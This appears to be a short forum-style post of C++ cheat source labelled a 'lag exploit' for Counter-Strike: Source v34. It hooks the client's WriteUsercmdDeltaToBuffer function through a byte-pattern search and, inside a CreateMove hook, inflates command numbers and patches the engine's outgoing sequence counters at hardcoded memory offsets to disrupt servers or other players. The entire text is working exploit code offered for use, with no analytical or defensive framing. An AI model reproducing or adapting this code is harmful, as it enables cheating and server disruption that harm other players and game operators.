css v34 lag exploit source

// first: hook WriteUsercmdDeltaToBuffer from IBaseClientDLL (index 20)
bool __fastcall hkdWriteUsercmdDeltaToBuffer(void* ecx, void*, bf_write* buf, int from, int to, bool isnewcommand)
{
	auto GetUserCmd = [](int sequence_number)
	{
		return &(*(CUserCmd**)((DWORD)input + 0xC4))[sequence_number % MULTIPLAYER_BACKUP];
	};
	static auto WriteUsercmd = (void(__cdecl*)(bf_write*, CUserCmd*, CUserCmd*))(utils->PatternSearch("client.dll", "51 8B 44 24 10 8B 48 04"));

	CUserCmd nullcmd, *f, *t;

	if (from == -1)
		f = &nullcmd;
	else
	{
		f = GetUserCmd(from);

		if (!f)
			f = &nullcmd;
	}

	t = GetUserCmd(to);
	if (!t)
		t = &nullcmd;

	WriteUsercmd(buf, t, f);

	return (!(*(BYTE*)((DWORD)buf + 0x10)));
}

// second: do this in CreateMove hook
auto netchannel = engine->GetNetChannelInfo();
static auto module_engine = (DWORD)GetModuleHandleA("engine.dll");
if (vars->misc_lagexploit && module_engine)
{
	bSendPacket = (sequence_number % 10) == 0;
	cmd->command_number += vars->misc_lagexploit_amount * MULTIPLAYER_BACKUP;
	*(int*)((DWORD)module_engine + 0x39539C) += vars->misc_lagexploit_amount * MULTIPLAYER_BACKUP; // lastoutgoingcommand
	*(int*)((DWORD)netchannel + 0x8) += vars->misc_lagexploit_amount * MULTIPLAYER_BACKUP; // m_nOutSequenceNr
}